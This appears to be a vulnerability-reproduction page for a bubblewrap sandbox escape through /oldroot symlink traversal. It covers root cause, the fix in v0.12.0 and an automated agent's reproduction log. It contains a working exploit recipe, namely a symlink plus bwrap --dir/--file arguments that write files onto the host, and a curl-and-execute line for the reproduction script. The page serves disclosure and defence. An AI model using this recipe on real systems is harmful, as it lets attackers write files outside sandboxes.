Skip to content

GHSA-PXHW-H44J-8PFX: Verified Reproduction

GHSA-PXHW-H44J-8PFX: bubblewrap: sandbox escape via /oldroot symlink traversal during setup — files created on host

GHSA-PXHW-H44J-8PFX is verified against the affected target. This high reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00339.

REPRO-2026-00339 Aug 26, 2026 .txt
Severity
HIGH
Confidence
HIGH
Reproduced in
18m 28s
Tool calls
119
Spend
$2.80
01 · Overview

What Is GHSA-PXHW-H44J-8PFX?

GHSA-PXHW-H44J-8PFX is a high-severity vulnerability. Pruva has independently reproduced it and publishes a verified, runnable proof-of-concept (reproduction REPRO-2026-00339).

02 · Severity & CVSS

GHSA-PXHW-H44J-8PFX Severity

GHSA-PXHW-H44J-8PFX is rated high severity.

How to Reproduce GHSA-PXHW-H44J-8PFX

$ pruva-verify REPRO-2026-00339
or curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00339/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh
Run in a VM or disposable container. This exploits a real vulnerability.
06 · Proof of Reproduction

Proof of Reproduction for GHSA-PXHW-H44J-8PFX

sandbox escape — reproduced
  • reached the target end-to-end
  • full exploit chain demonstrated
  • on the real production code path
  • high confidence
  • the upstream fix blocks the same trigger
Trigger

filesystem content bound into the sandbox (untrusted tree containing symlink subdir -> /oldroot<host_target>), plus marker file content via --file fd

Attack chain
  1. bwrap --bind <untrusted> / --dir /subdir/newdir --file 3 /subdir/newdir/ESCAPE_MARKER.txt /usr/bin/true; setup_newroot()
  2. mkdir_with_parents('/newroot/subdir/newdir') follows the absolute symlink into /oldroot (host)
How the agent worked 259 events · 119 tool calls · 51 min
51 minDuration
119Tool calls
56Reasoning steps
259Events
6Dead-ends
Agent activity over 51 min
Policy
1
Support
23
Repro
203
Judge
27
0:0051:17

Root Cause and Exploit Chain for GHSA-PXHW-H44J-8PFX

Versions: < 0.12.0 (confirmed on v0.11.0,

During sandbox setup, bubblewrap (bwrap) mounts the host filesystem at /oldroot and builds the sandbox root at /newroot. When a setup operation that creates a file or directory (e.g. --dir, --file, --bind-data, --ro-bind-data) has a destination whose parent components contain a symbolic link, vulnerable versions resolve that symlink with plain mkdir()/open() path semantics. If the symlink lives in attacker-controlled filesystem content (such as a malicious Flatpak app image bound at /) and points at an absolute path under /oldroot/..., the creation is redirected out of the sandbox and onto the host filesystem. This happens during setup, before any sandboxed code runs. We reproduced the escape end-to-end with the real bwrap CLI: a directory and an attacker-content marker file were created on the host in 2/2 vulnerable attempts, while the fixed version failed closed in 2/2 attempts.

  • Package/component: bubblewrap (bwrap), used by Flatpak and similar app frameworks.
  • Affected versions: < 0.12.0 (confirmed on v0.11.0, commit 9ca3b05ec787acfb4b17bed37db5719fa777834f). No backport exists; the fix is only in v0.12.0, which also drops setuid build support.
  • Risk level and consequences: High (advisory scores 8.8). An attacker who controls filesystem content that a launcher binds into the sandbox can cause bwrap to create directories and attacker-controlled files at arbitrary host paths writable by the launching uid/gid (generally unprivileged). This can overwrite/seed config files, startup scripts, SSH keys, etc., enabling further compromise. If bwrap is invoked by a privileged (setuid) launcher, the write is privileged.

Impact Parity

  • Disclosed/claimed maximum impact: sandbox escape — files created on the host outside the sandbox during setup (CWE-22 path traversal).
  • Reproduced impact from this run: sandbox escape — --dir created /subdir/newdir on the host and --file wrote a fully attacker-controlled marker file (ESCAPE_MARKER.txt) into it, outside the sandbox, through the real bwrap CLI entrypoint, in both vulnerable attempts.
  • Parity: full
  • Not demonstrated: privileged (root) file creation — the run used an unprivileged launcher, matching the advisory's typical (non-setuid) scenario; this is a deployment precondition, not a gap in the vulnerability proof.

Root Cause

In v0.11.0, setup_newroot() (bubblewrap.c:1189) processes each setup op and, for ops with a destination, computes dest = get_newroot_path(op->dest) which returns the absolute path /newroot/<dest> (utils.c:868). It then calls mkdir_with_parents(dest, parent_mode, false) (bubblewrap.c:1233) and, for file-creating ops, ensure_dir()/ensure_file()/open() on the resulting path. mkdir_with_parents() (utils.c:705) walks the path component by component calling mkdir(), which follows symlinks in parent components with full host-kernel resolution.

At that point in setup, bwrap has already pivot_root()ed into a scratch tmpfs (bubblewrap.c:3345) so that the namespace root contains oldroot/ (a bind of the host filesystem) and newroot/ (the sandbox root under construction). An absolute symlink inside attacker-controlled content that was bound at / (= /newroot) therefore resolves against the setup namespace root: a symlink <untrusted>/subdir -> /oldroot/tmp/.../host_target makes mkdir /newroot/subdir/newdir create /oldroot/tmp/.../host_target/newdir, i.e. a directory on the host. The same applies to --file/--bind-data/ --ro-bind-data, which additionally write attacker-controlled content.

resolve_symlinks_in_ops() (bubblewrap.c:1615) only realpaths the source paths of bind mounts, not the destination paths of file/dir-creating ops, so it does not mitigate this.

Fix: v0.12.0 (tag 2a76602a8c71f36c1527cf9fc3417d9149822e0c) resolves all destination paths with openat2(RESOLVE_IN_ROOT) via safe_openat() imported from crun (commit 67d4be103b18706b5b4e3f495daa35e89e47b163, with a chroot_realpath.c fallback for pre-5.6 kernels) together with commit ea185f6fb135782cabab342e33432e8482a2f5c9 ("Inline the privileged ops"), so symlink resolution is confined to /newroot and escaping symlinks fail with ENOENT instead of being followed onto the host.

Advisory: https://github.com/containers/bubblewrap/security/advisories/GHSA-pxhw-h44j-8pfx

Reproduction Steps

  1. bundle/repro/reproduction_steps.sh (self-contained; run from any directory, exit 0 = confirmed).
  2. What the script does:
    • Reads bundle/project_cache_context.json and reuses the prepared project cache (<project_cache_dir>/repo), falling back to bundle/artifacts/.
    • Clones containers/bubblewrap, verifies the vulnerable commit (v0.11.0 = 9ca3b05e...) lacks fix commits 67d4be10.../ea185f6f... and the fixed commit (v0.12.0 = 2a76602a..., the ticket's fixed tag) contains them; also checks the source trees (safe_openat.c absent/present).
    • Builds both versions with the system gcc (no sudo in this environment: libcap headers are obtained by downloading the libcap-dev .deb and extracting it; the only required config.h macro, PACKAGE_STRING, is generated; no sanitizer is used — this is a plain product build).
    • Smoke-tests that unprivileged user namespaces work.
    • Runs the advisory recipe hermetically, twice per build: creates untrusted/subdir -> /oldroot<abs path of host_target> and invokes bwrap --bind <untrusted> / --ro-bind /usr /usr --ro-bind /lib /lib --ro-bind /lib64 /lib64 --dir /subdir/newdir --file 3 /subdir/newdir/ESCAPE_MARKER.txt /usr/bin/true with a known marker content on fd 3.
    • Verifies per attempt: vulnerable builds must exit 0 and leave <host_target>/newdir/ESCAPE_MARKER.txt on the host with the exact attacker content; fixed builds must exit non-zero and leave nothing.
    • Writes bundle/repro/runtime_manifest.json with SHA-256 of every proof artifact.
  3. Expected evidence: vulnerable attempts show the marker file on the host; fixed attempts log bwrap: Can't mkdir parents for /subdir/newdir: No such file or directory and create nothing on the host.

Evidence

  • bundle/logs/attempt-vuln-1.log, bundle/logs/attempt-vuln-2.log — bwrap v0.11.0 exits 0, sandboxed /usr/bin/true runs, and the post-run listing shows host_target/newdir/ESCAPE_MARKER.txt with the attacker-controlled content BWRAP_OLDROOT_ESCAPE_<timestamp>.
  • bundle/logs/attempt-fixed-1.log, bundle/logs/attempt-fixed-2.log — bwrap v0.12.0 exits 1 with Can't mkdir parents for /subdir/newdir: No such file or directory; host target remains empty.
  • bundle/repro/work/vuln-{1,2}/host_target/newdir/ESCAPE_MARKER.txt — the actual marker files created on the host by the vulnerable binary.
  • bundle/repro/proof_summary.txt — per-attempt verdicts and binary SHA-256s.
  • bundle/repro/runtime_manifest.json — entrypoint cli_command, target_path_reached=true, proof artifacts with SHA-256 hashes.
  • Environment: Linux 6.8.0-138-generic x86_64, uid 1000 (unprivileged), kernel.unprivileged_userns_clone=1, user namespaces functional (see bundle/logs/smoke_test.log). Openat2-capable kernel (>= 5.6), so the fixed build exercises the real RESOLVE_IN_ROOT path.

Key excerpt (vulnerable attempt):

command: timeout 30 .../bwrap-v0.11.0 --bind .../untrusted / --ro-bind /usr /usr ... --dir /subdir/newdir --file 3 /subdir/newdir/ESCAPE_MARKER.txt /usr/bin/true
--- exit_code: 0
host_target (post-run):
.../host_target/newdir:
-rw-rw-rw- 1 pruva pruva ... ESCAPE_MARKER.txt
host marker content: BWRAP_OLDROOT_ESCAPE_20260826T200804Z

Key excerpt (fixed attempt):

--- exit_code: 1
bwrap: Can't mkdir parents for /subdir/newdir: No such file or directory
host marker content: <absent>

Recommendations / Next Steps

  • Fix approach (upstream, already shipped): confine all destination path resolution to the new root using openat2(RESOLVE_IN_ROOT) (safe_openat()), with the chroot_realpath fallback on pre-5.6 kernels — commits 67d4be103b18706b5b4e3f495daa35e89e47b163 and ea185f6fb135782cabab342e33432e8482a2f5c9 in v0.12.0.
  • Upgrade guidance: upgrade to bubblewrap >= 0.12.0. There is no backport for versions that support setuid builds; users relying on setuid bwrap should migrate to unprivileged user namespaces. Until upgraded, avoid binding attacker-controlled filesystem content into sandboxes (audit Flatpak-style launchers for --bind <untrusted> / combined with file/dir-creating options).
  • Testing recommendations: regression-test every file/dir-creating option (--dir, --file, --bind-data, --ro-bind-data, --chmod, bind dest auto-creation) with parent symlinks targeting both /oldroot/... (absolute) and relative .. chains; the variant-analysis stage covers these.

Additional Notes

  • Idempotency: the script was run four consecutive times (two before the manifest-ordering fix, two after), all exiting 0; per-attempt work directories are wiped and recreated (rm -rf) so runs are hermetic and repeatable. Cache reuse (repo/build/tools) makes reruns take ~2 s.
  • No sudo/pip in this environment: the build avoids meson (not installable without root) by compiling the four (vuln) / six (fixed) upstream C files directly with gcc; this is byte-identical upstream source at the anchored commits, and binary SHA-256s are recorded in proof_summary.txt.
  • Non-sanitized product proof: the primary oracle is real product behavior (host filesystem state + CLI exit codes), not ASAN/UBSAN.
  • "Host" scope: bwrap was executed directly on this machine (not nested in Docker), so /oldroot is the real machine root and the marker files land in the real filesystem outside any bwrap namespace.
  • Edge cases not covered here (delegated to variant analysis): --file, --bind-data, --ro-bind-data as the primary creating op without --dir; relative (../../oldroot) symlink targets; --symlink-created parents; pre-5.6 kernel fallback path of the fix.

GHSA-PXHW-H44J-8PFX Reproduction Transcript

The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.

Full session Replay every step — scrub the timeline or play it back.

Event 1/40
0:003:15
0:00
session startedaccounts/fireworks/models/kimi-k3 · GHSA-PXHW-H44J-8PFX · REPRO-20
0:11
0:12
web search
0:14
web search
0:25
0:56
0:57
web search
1:02
1:05
1:12
1:13
web search
1:19
1:21
1:30
2:45
2:45
extract_facts
no facts extracted
2:48
2:49
supportclaim_contract
2:54
2:55
2:55
2:58
2:58
2:58
3:11
3:11
$id; uname -a; cat /proc/sys/kernel/unprivileged_userns_clone 2>/dev/null; cat /proc/sys/user/max_user_namespaces 2>/dev/null; ls bundle/logs bundle/repro bundle/support bundle/learning 2>/dev/null
uid=1000(pruva) gid=1001(pruva) groups=1001(pruva),27(sudo),993(kvm),1000(docker)
Linux pruva-beef-01 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux
1
127776
bundle/learning:
exploit_knowledge_preflight.json
policy_inputs.json
policy_result.json
3:15
3:15
08 · How to Fix

How to Fix GHSA-PXHW-H44J-8PFX

Coming soon

Step-by-step mitigation and hardening guidance for GHSA-PXHW-H44J-8PFX — configuration checks, workarounds where no patch exists, and how to verify you're protected — is on the way.

10 · FAQ

FAQ: GHSA-PXHW-H44J-8PFX

Is GHSA-PXHW-H44J-8PFX exploitable?

Yes. Pruva independently reproduced GHSA-PXHW-H44J-8PFX and verified the exploit fires end-to-end in a sandboxed environment. A runnable proof-of-concept script and the full agent transcript are on this page (reproduction REPRO-2026-00339).

How severe is GHSA-PXHW-H44J-8PFX?

GHSA-PXHW-H44J-8PFX is rated high severity.

What type of vulnerability is GHSA-PXHW-H44J-8PFX?

GHSA-PXHW-H44J-8PFX is classified as CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal) (Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')).

How can I reproduce GHSA-PXHW-H44J-8PFX?

Pruva provides a verified reproduction script on this page. Download it and run it inside an isolated environment such as a container or virtual machine — never against production. The reproduction was confirmed end-to-end by Pruva's automated agents.

Is the GHSA-PXHW-H44J-8PFX reproduction verified?

Yes. Pruva reproduced GHSA-PXHW-H44J-8PFX with high confidence in a sandboxed environment, capturing the full agent transcript and artifacts as evidence.
11 · References

References for GHSA-PXHW-H44J-8PFX

Authoritative sources for GHSA-PXHW-H44J-8PFX — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.